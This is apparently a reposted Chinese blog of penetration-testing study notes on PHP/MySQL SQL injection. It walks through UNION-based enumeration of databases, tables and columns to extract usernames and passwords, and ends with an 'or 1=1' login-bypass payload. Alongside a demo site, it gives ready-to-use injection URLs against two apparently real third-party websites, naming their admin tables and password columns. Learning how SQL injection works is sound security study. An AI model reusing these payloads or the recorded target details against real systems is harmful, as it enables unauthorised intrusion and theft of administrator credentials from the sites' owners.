渗透测试2

脚本语言-php语言基础补习(注释符,输入调试,接受处理)
sql语句补习(查询,插入,修改更新等)
实例编写sql注入测试页面
php+mysql注入(上)
如何查看是何种提交方式,在火狐浏览器中右键选择审查元素,在网络选项里即可显示。
若想防止SQL注入,即将对应语句改为下句
is_numeric是只允许输入数字
 
cmd调用数据库   show databases 显示数据库名
                            show  tables   显示表名
              select * from 表名      显示该表中的数据
 
步骤 
1.先找到带有参数的网页;
 
2.输入错误参数观察页面是否出错,若错误则有注入点
 
3.通过order语句折半猜字段
通过改变by后面的数字,找到零界点则为字段数
 
4.如果是asp注入则跳过这一步(因为ACCESS没有数据库名,可直接for admin 猜表名,而php注入先要爆出数据库名
(如果语句没有爆出错误,则改成
加上and 1=111等报错语句)
 
5.将报错的数字用
database() 数据库名 
user() 数据库用户 
version() 数据库版本 
@@version_compile_os 服务器操作系统 
这些替换进行查询
 
 
 
6.
先查询表名
查询information_schema数据库名下的表名tables的信息(条件:table_schema=0x726F6F74 数据库名为root)
 
information_schema.tables :information_schema数据库名下表名tables 记录所有数据库名下的所有表名信息的表
 
具体语句:http://www.st1.com/article.php?id=5 and 1=111 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema=  0x726F6F74(这是数据库名的16进制转码)
 
参数:group_concat()  将所有表名爆出
 
接着查询列名
查询表名yzsoumember下的所有列名信息
 
information_schema.columns:记录所有数据库名下的所有列名信息的表
 
具体例子:http://www.st1.com/article.php?id=5 and 1=111 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where table_name= 0x797A736F756D656D626572(这是表名的转码)
 
7.最后一步和asp注入相同,在知道表名和列名后,
输入语句进行爆出用户名和密码
 
 
access 数据层次
                   表名
                             列名
                                 内容
mysql 数据层次
                   数据库名
                                 表名
                                          列名
                                               内容
 
 mysql
    information_schema
    root
        yzsoumember
            username,password
                内容
 
 
区别:
asp+access
数据库存放在网站目录下(可以渗透访问),后缀格式mdb,asp,asa
php+mysql
数据库存储在数据库安装路径下(无法访问),后缀格式myi,myd,frm
.
asp+access注入属于暴力猜解注入
 
mysql5.0以上注入
information_schema:存储有所有数据库下的表名和列名信息
 
 
database() 数据库名 
user() 数据库用户 
version() 数据库版本 
@@version_compile_os 服务器操作系统 
 
windows 大小写不敏感
linux 大小写敏感
 
 
 
 
 
 
 
 
 
http://www.makita.com.cn
 
mutia0121
    admin
        name,adminpass
 
http://www.makita.com.cn/jishu.php?id=-63 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema=0x6D7574696130313231
 
 
http://www.makita.com.cn/jishu.php?id=-63 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.columns where table_name=0x61646D696E
 
 
 
 
http://www.wh3z.cn/
hdm1040458_db
    intwho_admin_user
            user_name,password
 
http://www.wh3z.cn/article/view/id/-1411 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=0x68646D313034303435385F6462
 
http://www.wh3z.cn/article/view/id/-1411 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=0x696E7477686F5F61646D696E5F75736572
 
 
1.两个站点操作
2.php页面编写
 
phpmyadmin
 
 
 
可通过在登陆提交栏输入特定SQL语句,来改变查询语句。
如输入:admin'or 1=1)#
那么查询语句就成select user from php where (user='admin'or 1=1)#') and (pw='$pass')        等于select user from php where (user='admin'or 1=1)    因为#是注释符,后面的被省略
 
 

 

 
 
 
 

转载于:https://www.cnblogs.com/0-error/p/5875662.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值